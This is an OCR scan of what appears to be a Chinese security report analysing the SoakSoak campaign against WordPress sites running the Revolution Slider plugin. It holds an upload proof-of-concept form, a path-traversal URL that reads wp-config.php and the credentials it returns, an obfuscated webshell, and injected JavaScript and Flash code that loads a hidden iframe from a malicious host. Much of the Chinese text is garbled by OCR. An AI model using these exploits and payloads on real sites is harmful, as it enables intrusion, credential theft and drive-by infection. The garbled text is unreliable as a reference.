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FTs K XA Irevslider_admin.php

| NON | ® revslider_admin.php

revslider_admin.php

$generalSettings = self::getSettings("general™);
$role = $generalSettings--getSettingValue("role",UniteBaseAdminClassRev

self::setMenuRole($role);

self::addMenuPage( 'Revolution Slider', "adminPages");

self::addActionAjax("ajax_action", "onAjaxAction");

}

ASCII, Line 1, Column 1 Tab Size: 4

ZARIEE G Y, 2% ajax_action 45 iK% onAjaxAction() JEAT4RE, i@
Iwp-admin/admin-ajax.php [Flfdi %156 25 21 F onAjaxAction().

onAjaxAction() FREOCEER > Wl T

@00 ® revslider_admin.php

revslider_admin.php

$operations->putslidePreviewByData($data);
"preview_slider":

$sliderID = UniteFunctionsRev::getPostVariable("sliderid")

$operations->previewQutput($sliderID);
"toggle_slide_state":

$currentState - $slide-~toggleSlideStatFromData($data);

self::ajaxResponseData(array("state"=>$currentState));

"update_plugin":
self::updatePlugin(self: :DEFAULT_VIEW);
"update_text":
self::updateSettingsText();
self::ajaxResponseSuccess("All files successfully updated"
"update_general_settings":
$operations-~updateGeneralSettings($data);
self::ajaxResponseSuccess(__("General settings updated"));

ASCII, 12 characters selected Tab Size: 4 PHP

4 post ¥ $client_action 4 “update_plugin” i, 431 updatePlugin() FF 4672
hfF

updatePlugin() B %47 T /inc_php/framework/base_admin.class.php H'.
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base_admin.class.php

function updatePlugin($viewBack = false){
$linkBack self::getViewUrl($viewBack);
$htmlLinkBack = UniteFunctionsRev::getHtmlLink($linkBack, "Go Back");

$zip UniteZipRev();
{
(function_exists("unzip_file") false){
( UniteZipRev::isZipExists() false)
UniteFunctionsRev::throwError("The ZipArchive php extension not ex
}
dmp("Update in progress...");
$arrFiles UniteFunctionsRev::getVal($_FILES, "update_file");
(empty($arrFiles))
UniteFunctionsRev::throwError("Update file don't found.");

$filename = UniteFunctionsRev::getVal($arrFiles, "name");

(empty($filename))
UniteFunctionsRev: :throwError("Update filename not found.");

ASCII, Line 444, Column 1 Tab Size: 4

a2 — P S EAR IR IR . B e %% (updatePlugin()) 3KHX T post
RERISCAFRIE R -

\ $arrFiles = UniteFunctionsRev::getVal($_FILES, "update_file");

bt Ja 2 AR E AR SRRSO 4, MIME 285 G MIME SEAY FR e I ARG R i
TP

@ @ ® base_admin.class.php

base_admin.class.php

dmp("Update in progress...");
$arrFiles UniteFunctionsRev: :getVal($_FILES, "update_file");
(empty($arrFiles))
UniteFunctionsRev::throwError("Update file don't found.");

$filename UniteFunctionsRev::getVal($arrFiles, "name");

(empty($filename))
UniteFunctionsRev: :throwError("Update filename not found.");

$fileType UniteFunctionsRev::getVal($arrFiles, "type");

$filepathTemp = UniteFunctionsRev::getVal($arrFiles, "tmp_name");
ASCI, Line 444, Column 1 Tab Size: 4 PHP

SRJEFRIL T _EAL SR IR B 42 A B 1 H 3¢ “ftempl/update_extract” (H 8%
W 7 I AR D
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@

® base_admin.class.php

base_admin.class.php

$filepathTemp UniteFunctionsRev::getVal($arrFiles, "tmp_name");
(file_exists($filepathTemp) false)
UniteFunctionsRev::throwError(“Can't find the uploaded file.");

UniteFunctionsRev: :checkCreateDir(self: :$path_temp);

$pathUpdate = self::$path_temp."update_extract/";
UniteFunctionsRev::checkCreateDir($pathUpdate);

(is_dir($pathUpdate)){
$arrNotDeleted - UniteFunctionsRev::deleteDir($pathUpdate,false);
(empty($arrNotDeleted)){
$strNotDeleted = print_r($arrNotDeleted,true);
UniteFunctionsRev: :throwError("Could not delete those files from the 1

ASCII, Line 444, Column 1 Tab Size: 4

412k “templ/update_extract” S &2, TEEIZH T RITA S, IR AR R
B R IZEH T

LK

® base_admin.class.php

base_admin.class.php

$filepathZip = $pathUpdate.$filename;

$success move_uploaded_file($filepathTemp, $filepathZip);
($success ralse)
UniteFunctionsRev::throwError("Can't move the uploaded file here: {$fi

(function_exists("unzip_file") true){
WP_Filesystem();
$response = unzip_file($filepathZip, $pathUpdate);

ASClII, Line 444, Column 1 Tab Size: 4

XA, B X A SRS, B8 move_uploaded_file() # A% S0
(E=) ¥ U T “ftemplupdate_extract/” H3 T, Ja S AL FEER FH FE0 47

AN IR G R

@® ® s upload.html

upload.html

< method="post" action="http://www.test.com/wordpress/wp—admin/admin-ajax.php"
enctype="multipart/form-data">
3 >Action:</ >
type="text" name="action" value="revslider_ajax_action"><br>

>Client Action:</ >
type="text" name="client_action" value="update_plugin"><br>
>Upload File:</ >
type="file" name="update_file"><br>
type="submit" value="upload">
) </ >
ASCII, Line 10, Column 1 Tab Size: 4
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Action: revslider_ajax_action
Client Action: update_plugin

Upload File: #Esx#F temp.txt
upload

Hrb temp.txt W& N :

| test file upload

SRJa Rl bA%:

Update in progress...

Update Error: The update folder is not extracted
Please update the plugin manually via the ftp

Go Back

XEALER, RN SRR, (ERARIERA T, BRSO St Al
i move_uploaded_file() #5 V1%l 1 “/temp/update_extract/” HxE T

@ C:\Program Files\phpstudy\TIT\wordpress\sp—content\pluginsirevslideriteaph

- =10/ x|
HEE WEE FEW $@We IA@ W | &
QFE-O - 7| 8% CxHx |4 0 X 9[E-

B @) [ 5 C:\Progran Files'phpstudy Wit \wor dpr essbwp—content \pluginsirewslider\tenptupdate_extract ~| B =3
B~ | Ko | 268 K= (I

B temp. txt 1 KB &I 2014-12-18 21:11 A

_ioix
THE FEO BRo Z=FE FHo
test file upload -]

2) AERSH T EINR:

AR G, 328t T —A4 show_image I1hRE, 7 LLET WordPress [ ajax
FRAE %68, B/ %I RESEIL P FE 5 lE A4 R VAR E U N3, (&Rt
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B iZIR 82 WordPress HHCE S wp-config.php,  JRA5 50 2 14245 12 S BURAL
¥ o

Fril K SCA: - linc_php/framework/base_admin.class.php

[ NON ® base_admin.class.php

base_admin.class.php

self::addAction(self::ACTION_ADD_SCRIPTS, "addCommonScripts");
self::addAction(self::ACTION_ADD_SCRIPTS, "onAddScripts");

$this-~addEvent_onActivate();

self::addActionAjax("show_image", "onShowImage");

ASCII, Line 28, Column 21 Tab Size: 4

i AE S PR ajax H 1 show_image 115 3K 4 e kb3 i %1 onShowimage(). FHH
onShowlmage() B ¥R AL T “/inc_php/framework/base.class.php” # .

ik J et finc_phplframework/base.class.php

[ N W base.class.php
base.class.php

function onShowImage(){

$pathImages - UniteFunctionsWPRev::getPathContent();
$urlImages - UniteFunctionsWPRev::getUrlContent();

{

$imageView UniteImageViewRev(self: :$path_cache,$pathImages, $urlImages);
$imageView~showImageFromGet();

(Exception $e){
header("status: 500");
echo $e--getMessage();

();

}

ASCII, Line 246, Column 12 Tab Size: 4

A LAE FI7E onShowimage() i+, 454k T UnitelmageViewRev 25, HiH T 1%
2 showlmageFromGet() /7%,

At et linc_phplframework/image_view.class.php
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image_view.class.php
function showImageFromGet(){

$imageFilename = UniteFunctionsRev::getGetVar("img");
$maxWidth = UniteFunctionsRev::getGetVar("w",-1);
$maxHeight = UniteFunctionsRev: :getGetV. h",-1);
$type = UniteFunctionsRev::getGetVar("t","");

$effect UniteFunctionsRev: :getGetVar("e");
$effectArgumentl = UniteFunctionsRev::getGetVar("eal");

('empty($effect))
$this--setEffect($effect,$effectArgumentl);

$this->showImage($imageFilename, $maxWidth, $maxHeight, $type);

Line 559, Column 9 Tab Size: 4

showlmageFromGet() &£ “GET” 15K BRI S 4L “img” MERE S L&

\ $imageFilename = UniteFunctionsRev::getGetVar("img");

SRIGIEE Seffect XM E::

\ Seffect = UniteFunctionsRev::getGetVar(*'e");

75 B i 5 I showlmage() 751, showlmage() B8 %EE 20 S BEACHS In F -

= jmage_view.class.php

image_view.class.php

$filepath $this->pathImages.$filename;

(lis_file($filepath)) $this—-outputEmptyImageCode();

(function_exists("gd_info") false)
$this-—>throwError("php must support GD Library");

(empty($this—>effect)){
((is_numeric($maxWidth) false is_numeric($maxHeight) false)) output

($maxWidth 1 $maxHeight 1)
$this--outputImage($filepath);

9 characters selected Tab Size: 4

Hrr $this->pathimage FIETE— FF 46 FTRHE B Y T WordPress “wp-content” Fir7E 42
A2 (e Cxxxx\www\wordpress\wp-content\), AR JEiE I $this->pathimage 5 1&3E R 1 5C
4 $filename FEATEFZIREH LS $filepath:

\ $filepath = $this->pathimages.$filename;

I H. $this->effect, $maxWidth Fi$maxHeight # ] AN “GET” & RSP 3kEL, Fir LART LA
¥ it — € W payload , 1 759 bR £ Ui B2 #0047 B $this->outputimage($filepath) 5 52 X ST A4 «
outputimage() B :

JEHCRE ) FE B BEARA R A

b
©
=il



KNOWNSEC
c: M oE 8 F

®

WA FR: SoakSoak & =K HIE BRI AR i V2

®

o image_view.class.php

image_view.class.php

function outputImage($filepath){

$info = UniteFunctionsRev::getPathInfo($filepath);
$ext = $info["extension"];
$filetime - filemtime($filepath);

$ext strtolower($ext);
($ext "jpg")
$ext = “jpeg";

$numExpires = 31536000;
$strExpires date('D, d M Y H:i:s',time()+$numExpires);
$strModified date('D, d M Y H:i:s',$filetime);

$contents file_get_contents($filepath);
$filesize strlen($contents);
header("Last-Modified: $strModified GMT");
header("Expires: $strExpires GMT");
header("Cache-Control: public");
header("Content-Type: image/$ext");
header("Content-Length: $filesize");

echo $contents;
(OH
}

11 characters selected Tab Size: 4

outputimage() iR £ B £z 18 ik AN R AE R SO I 2

$contents = file_get_contents($filepath);

echo $contents;

I BAERX AN R BRI UE, Pl n] DUiE 40 payload:

http://www.test.com/wordpress/wp-admin/admin-ajax.php?action=revslider_show_image&img=..
/..lwp-config.php

INT = ) SQL v XSS - Encryption » Encoding * Other ~
@ Load URL http://www.test.com/wordpress/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php
., J
& spitURL
» Execute
Enable Postdata  Enable Referrer
=] IE##T7 admin-ajax.php

BiER T
admin-ajax.php

X425 : Document (3.1 KB)
JR:  http//www.test.com

1548 % Firefox I LbER IS4

O #1775 Sublime Text 2 (8iA) i
DownThemaAll!
dTa OneClick! £ /Users/chensy/Desktop/ C]
REXH = K@ HE...

VAR B AR AR RN ER I 2T
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& @ ® admin-ajax.php
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admin-ajax.php

<?php

http://codex.wordpress.org/zh—cn:%E7%BC%96%E8%BE%91_wp—config.php

define('DB_NAME', ‘'wordpress');

define('DB_USER', 'root');

define('DB_PASSWORD', 'root');

define('DB_HOST', 'localhost');

define('DB_CHARSET', 'utf8');

UTF-8, Line 1, Column 1 Tab Size: 4
=] &
) >
c) imiFEER

HIE BT 22 A T LB X Revslider #4F FOAT & S0 EAATRTAS H T PoC, M ZoomEye
FHIEL T — &4 4 Revslider G134 WordPress 3 i TR . PLA IR AT Z, MRS R
IR TR IR 5 B AN B A T 36 E 2 IR T

{H2, FAERRNR SRR, BRI T SeAL B 8l = S B TRIAE T
Jall (gl 1Hhk: http://wpsite/wp-content/plugins/revslider/temp/update_extract/temp.php).

®' @ wvaEEEmsc.com/wp-content/plugins/revslider/temp/update_extracttemp.php ¥ 2 \er —~ C

Password : >>

@ @G v.com/wp-content/plugins/revslidertemp/update_extract/temp.php U \pr — C

Password : >>

JEHCRE ) FE B BEARA R A %10
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@ & G < s.com/wp-content/plugins/revslider/temp/update_extractten © EE Wee =

Password : >>

Wl B ENJETE, Be T SO EAETRTR A & H S SRR, B3 7. B4 1)
BORFZR:, T —3.

temp.php J& [ 14 #7:

BRI @S 2 H AR E % T Revslider 4 R AT 5 SCF FARTRIR, (ERBA L@ %
ST AR SO T BRI D0 75 20 Bedi & Bt _EA% 1) webshell a1 IF#E4T 7 704,

[ JON & temp.php
temp.php
<7php

$JPATH_CONFIGURATION - “"af6893d42865a68b91b27cedc82f60c5";

$default_charset-'Wind'.'o.'. 'ws=12'.'51";

$default_action='F'.'il"'.'esMan';

$color='#d'."

$default_use_;

$JFactory = s edo'.'c'.'ed_4'.'6e"."

$JComponentHelpe, strrev('ecalp'.'er'."'

$fUaqGnFBIBhrs-"1163" $FB96hrs-"\164

$brtAe-$fUaqGnFB96hrS. $FBI6! &

$qGnF8="TWYoIWVtdHRSKCRaU@VSVKVSWycIVFRQX1VTRVIaQUcFT1QnXSkpIHSKICA" . "gICR1d2VyQWclenRzIDOgYXIyYXkoIkcve2csZSISICITeHVydCIsICINU@SCe3QilCA". "1
$sHgty-$brtAe($qGnF8,"fedcba", "abcdef") ;$frdgt="'LsuEK' " 'c]

$JComponentHelper($frdgt,"\ \x6( 63\ $sHgty "\x

7>

ASCII, Line 1, Column 1 Tab Size: 4

PRI JE (1) webshell fi#idJ5, 4592 17 28181 c99.php CEISR LT I —3K webshell) [1))5 1]
(MR
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<99.php

<?php
$JPATH_CONFIGURATION-"af6893d42865a68b91b27cedcB82T60c5";
$default_charset="Windows1251";
$default_action-"FilesMan";

$color="#df5";

$default_use_ajax-true;

( 'empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents arr. "Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
(preg_match( implode('|", Suserﬁgents) '/i', $_SERVER['HTTP_USER_AGENT'1)) {

header('HTTP/1.8 484 Not Found');

1 stripslashes{sarray);

}
$_POST = WSOstripslashes($_POST);
}

function wsoLogin() {
("<pre align=center><form method=post>Password : <input type=password name=pass><input type=submit value='>>'></form=</pre>");

}

(!isset($_SESSION[md5($_SERVER['HTTP_HOST']1)]))
(_emotv($IPATH CONFIGURATION) (_isset($ POST['pass'l) (md5($ POSTI'pass'1) $JPATH_CONFIGURATION) ) )
ASCII, Line 41, Column 44 Tab Size: 4

BARTTE NI webshell FATTER IR T Y865, {H2 webshell 1% 55 hash J£3%FH )
MR k. BPZETTIRMISTRERREMERE)

SoakSoak:

2014 4E 12 ] 16 H, EAMKRAT T % T SoakSoak % & %+ Payload 73 #7 i) — a2 3¢ Chttp://bl
og.sucuri.net/2014/12/soaksoak—payload—analysis—evoIution—of—compromised—sites-ie-ll.html)o Wity
HIENE ARSI E, JavaScript £URS B fEiE T Firefox A1 1E11 (¥) Oday Tk AL ) %5 5% 4« WordPr
ess Ul s I A%, AT e T IREUCE 2 R SRIEAT T — 24T ).

BB & 215 2k £ wp-includes/template-loader.php SC2F, 48 A% = ACHD .

<?php
function FuncQueueObiject()

{
wp_enqueue_script(*swfobject™);
}

add_action("wp_enqueue_scripts”,'FuncQueueObject’);

TR AEAE P W 52 SR sy f FPAT AT — AN DL THIN #2410 5 “wp-includes/js/” H & T
swfobject.js JavaScript S 14

T MR 2% L 15 B 1) 52 R AR g OB B ARAS Y wp-includes/js/swfobject.js SCHERE
PN

JEHCRE ) FE B BEARA R A %12 1



http://blog.sucuri.net/2014/12/soaksoak-payload-analysis-evolution-of-compromised-sites-ie-11.html
http://blog.sucuri.net/2014/12/soaksoak-payload-analysis-evolution-of-compromised-sites-ie-11.html

KNOWNSEC
'E&iﬂ B 8 F

‘® ® = swfobject.js
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swfobject.js

var swfobject=function(){var D-"undefined",r-"object",S-"Shockwave Flash",W-"ShockwaveFlash.ShockwaveFlash",q-"application/x-shockwave-flash",R

eval(decodeURIComponent ( '%28%0D%0A%66%75%6E%63%74%69%6 FH6E%28%29%0D%0A%7B%0D%0A%09%7 7%69%6 E%64%6 F%7 7%2E%6F %6 E%6 (%6 F%61%64%20%3D%20%66%7 5%6E%63%7

HA 58 6 17 4t Jo i) JavaScript ARG, K H RIS 2]

®°e

eval(decodeURIComponent('(

eval(decodeURIComponent('(

eval(decodeURIComponent (" (
function()
{
window.onload = function()
{

var o = document.createElement('object');

o.data '/wp-includes/js/swfobjct.swf';

0.width +1673

o.height 365

o.classid= 'clsid:D27CDB6E-AE6D-11cf-96B8-444553540000";

var p = document.createElement('param');
p.name = 'movie';
p.value = '/wp-includes/js/swfobjct.swf';

var 02 = document.createElement('object');
02.type 'application/x-shockwave-flash';
02.data '/wp-includes/js/swfobjct.swf';
02.width '16';

02.height s {0

o.appendChild(p);
o.appendChild(o2);

document.body.appendChild(o);

}
)()
)3
Line 32, Column 1 Tab Size: 4 JavaScript

M ERARS AT DUE H, B F 0K SoakSoak YRl f s, W AZ sl A AT AR T AR 2
INEFFEPAT — BRI ) JavaScript AR, Bl JE MR AR SONER T RIS S R —A flash U (%
AR ARANTELE), %% flash SCIEER 12N “wp-contents/js/swfobject.swf” , N2 FI[) swfobje
ct.swf SCAFIREAR, HACY SgmBEfE it (i ).
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e @ untitled

YHYZHR: SoakSoak s HAEIE BT AR S V2

untitled

package
{
flash.events.*;
flash.net.*;
flash.display.+;
flash.utils.*;
flash.external.ExternalInterface;

class Main Sprite

function Main()

this.HUY Main_HUY;
0);

this.Vis this.HUY();
addChild(this.Vis);

W:int 16;

H:int 16;

ua:String = this.GetUserAgentStr().toLowerCase();

(ua.index0f ("windows") 1)

{

}
is_ff:Boolean (ua.index0f("firefox") 1A
is_iell:Boolean = (!(ua.index0f("msie") 1)) || (!{uva.index0f("rv:11") 1));
((is_iel1) || (is_ff))
{
ExternalInterface.call("function() { var xxx = \"%0A%64%6F%63%75%6D%65%6E%74%2E%62%6 F%64%79%2E%!
}
}

Line 35, Column 33 Spaces: 3 ActionScript

M A Firefox 5L 1E W Y4800 Y52 B gLl pi iy, — HAZW R flash SCHEREINEL,
M2 EZPAT N — BB = IR .

iE3d Externallnterface.call() ek 2 AT FIACAS 45 UrlDecode fifh5 f5 9

function() { var xxx =\"

document.body.appendChild(document.createElement(‘iframe’)).outerHTML = '<iframe src="htt
p://milaprostaya.ru/images/" frameborder="0" height="0" width="0" ></iframe>";\"; eval( deco
deURIComponent(xxx) );}

W E AR 23R Bk “http://milaprostaya.ru/images” FIINZ, HREEI TS % 27E
JE B2 A v Bt B A 1 B AR A U B U XY, B E T RS TR — MBI 45k
AT T — B . BIRAEE R R, EH:D5 0 “http://milaprostaya.ru/images/”
BARELEA ANGER:
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